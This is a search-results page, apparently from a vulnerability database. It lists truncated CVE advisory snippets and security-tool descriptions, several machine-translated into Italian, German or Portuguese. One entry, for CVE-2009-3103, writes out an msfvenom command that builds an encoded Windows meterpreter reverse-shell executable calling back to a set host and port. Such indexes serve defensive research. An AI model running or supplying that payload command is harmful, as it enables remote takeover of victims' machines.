22475 matches found
CVE-2026-77652
A heap-based buffer overflow vulnerability exists in the Dia diagram editor WPG file format importer. In plug-ins/wpg/wpg-import.c, the WPG import renderer allocates a fixed palette with: ren-pPal = gnew0WPGColorRGB, 256; When handling a WPGCOLORMAP record, the parser reads a start index i16 and...
getsploit
Getsploit Öffentliche Exploits aus derVulners-Datenbank suchen und herunterladen — online oder vollständig offline aus einem lokalen Index...
CVE-2026-80574
CVE-2026-80574 is an array out-of-bounds vulnerability in the Linux kernel's focaltech input driver , specifically in the focaltech_process_rel_packet function. The root cause is a signed integer underflow : when the finger index in a packet is 0, subtracting 1 produces a negative value that bypa...
CVE-2026-80558
CVE-2026-80558 affects the libceph component of the Linux kernel . A corrupted osdmap received from a Ceph monitor or OSD may contain invalid OSD indices in its primary_temp field that are not validated before use. This causes out-of-bounds read accesses into the osd_state, osd_weight, and osd_ad...
CVE-2026-80552
CVE-2026-80552 affects the Linux kernel's s390/vfio_ccw driver . The root cause is a missing bounds check: when the capability chain was introduced, region indexes were correctly clamped to the range of capabilities, but the same enforcement was neglected for existing read/write regions . This al...
CVE-2020-11019
CVE-2020-11019 In FreeRDP versioni minori o uguali alla 2.0.0, quando si esegue con il logger impostato su "WLOGTRACE", potrebbe verificarsi un crash dell'applicazione a causa della lettura di un indice di array non valido. I dati potrebbero essere stampati come stringa sul terminale locale. Il...
EUVD-2026-66385
StarRocks performs no privilege check when a legacy synchronous materialized view is dropped. Every other statement type routed through AuthorizerStmtVisitor calls into Authorizer before execution, but visitDropMaterializedViewStatement returns immediately with a comment stating the check happens...
trivy-java-db
trivy-java-db Panoramica trivy-java-db crea un database SQLite dai dati del repository maven-index, memorizzando ArtifactID, GroupID, Version e sha1 per i file jar. Il DB viene utilizzato in Trivy per individuare informazioni sui jar senza GAV al loro interno. Intervallo di aggiornamento Ogni...
CVE-2025-69727
CVE-2025-69727 Fornitore del Prodotto INDEX-EDUCATION Base di Codice del Prodotto Affetto PRONOTE - 202X.X.X 2025.2.8 Descrizione Esiste una vulnerabilità di Controllo degli Accessi Incorretto in INDEX-EDUCATION PRONOTE precedente alla versione 2025.2.8. I componenti interessati...
CVE-2023-36281
CVE-2023-36281 PoC do CVE-2023-36281 Eu referi a este PoC. Infelizmente, não funciona porque os índices de subprocess.Popen são diferentes em cada ambiente Python. No entanto, meu código PoC resolve esse problema. Instalação $ pip install -r requirements.txt Execução 1. Obtenha o índice do...
CVE-2021-32537
CVE-2021-32537: Accesso fuori dai limiti in RTKVHD64 che porta a corruzione del pool. Questo è un bug che ho segnalato a Realtek all'inizio di aprile 2021. Il driver interessato si chiama RTKVHD64.sys e sembra essere disponibile su diverse configurazioni hardware comuni testate le seguenti...
reconerator
Panoramica Questo è un assembly .NET personalizzato che esegue una serie di attività di situational awareness. Sono disponibili diversi gruppi di funzionalità: BASIC - Ottiene informazioni dal disco e dal registro. LDAP - Consente di effettuare query LDAP AD personalizzate. RESOLVEHOST - Esegue...
german-owasp-day
german-owasp-day German OWASP Day Konferenz-Website & Vortragsarchiv Die Seite findest du unter god.owasp.de Bitte erstelle für jedes Jahr einen Ordner und richte dann den Redirect von der Hauptindex-Datei auf diesen Ordner ein...
ms09-050_CVE-2009-3103
ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Comando singolo per creare/generare un payload per Windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out...
PoC_CVEs
PoC CVE — Indice dei Repository Proof-of-Concept Un indice costantemente aggiornato di repository proof-of-concept pubblici su GitHub mappati agli identificatori CVE. Strettamente per scopi educativi e di ricerca difensiva. Interfaccia di Ricerca Live labs.jamessawyer.co.uk/cves/ Un'interfaccia w...
dirhunt
.. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/v0.2.0/images/dirhunt.png | .. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/pip-rating-badge/pip-rating-badge.svg :target: https://github.com/Nekmo/dirhunt/actions/workflows/pip-rating.yml :alt: pip-rating badge .. image::...
CVE-2026-61555
OpenEXR (the reference implementation for the EXR image format used in the motion picture industry) is vulnerable to a crash when Imf::GetChannelsInMultiPartFile() processes a crafted EXR file with an empty multiView header attribute. The root cause is that Imf::viewFromChannelName() indexes an e...
CVE-2026-61555
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 are vulnerable to crashing. This occurs when Imf::GetChannelsInMultiPartFile processes a...
GoogleIndexRetriever
Google index Retriever Hai mai trovato una pagina web che sembra parlare esattamente di ciò di cui hai bisogno, ma è stata rimossa? Sì, la cache di Google è la risposta, ma... E se anche la cache fosse stata rimossa? E se il sito è solo nella pagina dell'indice di Google? Non puoi recuperare la...